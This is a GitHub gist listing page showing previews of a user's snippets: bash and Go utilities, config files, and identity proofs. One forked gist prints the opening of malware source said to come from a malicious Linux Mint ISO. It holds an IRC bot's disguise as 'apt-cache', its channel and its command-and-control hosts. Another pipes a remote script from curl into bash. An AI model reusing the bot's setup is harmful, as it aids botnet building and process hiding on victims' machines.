Skip to content

Instantly share code, notes, and snippets.

@sean9999
sean9999 / scraper.go
Created October 23, 2024 17:04
concurrency safe web scraper
package main
import (
"fmt"
"io"
"net/http"
"net/url"
"slices"
"strings"
"sync"
@sean9999
sean9999 / strict_mode.sh
Last active September 19, 2019 16:21
#strict #mode for the #bash #shell
#!/bin/bash
# @credit :: http://redsymbol.net/articles/unofficial-bash-strict-mode/
## -e :: instructs bash to immediately exit if any command has a non-zero exit status.
## -u :: a reference to any variable you haven't previously defined is an error, and causes the program to immediately exit
## -o pipefail :: If any command in a pipeline fails, that return code will be used as the return code of the whole pipeline
## IFS :: IFS stands for Internal Field Separator - controls what Bash calls word splitting
set -euo pipefail
IFS=$'\n\t'
@sean9999
sean9999 / current_path.sh
Created November 29, 2018 14:47
bash:: get path of current file
#!/bin/bash
## @from: https://stackoverflow.com/questions/59895/getting-the-source-directory-of-a-bash-script-from-within
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null && pwd )"
@sean9999
sean9999 / man.cy
Created September 6, 2018 16:16 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@sean9999
sean9999 / install_nodejs.sh
Created December 6, 2017 17:55 — forked from james2doyle/install_nodejs.sh
Install latest version of Nodejs on Amazon Linux
# become root
sudo -i
# remove old node
yum remove -y nodejs
# remove old node source
rm -f /etc/yum.repos.d/nodesource-el*
# clean up
yum clean all && yum update -y
# install the new RPM
curl --silent --location https://rpm.nodesource.com/setup_7.x | bash -
Verifying my Blockstack ID is secured with the address 1CDeirtRPVXE57XnPZJ7pqSkZZBNo6x4aw https://explorer.blockstack.org/address/1CDeirtRPVXE57XnPZJ7pqSkZZBNo6x4aw
@sean9999
sean9999 / so 41080980.js
Created December 10, 2016 23:06
so 41080980 created by sean9999 - https://repl.it/EmmE/1
class First {
constructor() {
this.loc = '1';
}
test() {
console.log('first', this.loc);
}
}

Some heading

Some sub Heading

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

@sean9999
sean9999 / .Xdefaults
Created September 27, 2016 22:08 — forked from yevgenko/.Xdefaults
URxvt settings with solarized theme
!-------------------------------------------------------------------------------
! Xft settings
!-------------------------------------------------------------------------------
Xft.dpi: 96
Xft.antialias: false
Xft.rgba: rgb
Xft.hinting: true
Xft.hintstyle: hintslight
@sean9999
sean9999 / keybase.md
Created September 15, 2015 04:47
keybase identity proof

Keybase proof

I hereby claim:

  • I am sean9999 on github.
  • I am code_monk (https://keybase.io/code_monk) on keybase.
  • I have a public key whose fingerprint is B526 710C C273 5665 E7EF 655A 455B 20A9 7C6B 0A7F

To claim this, I am signing this object: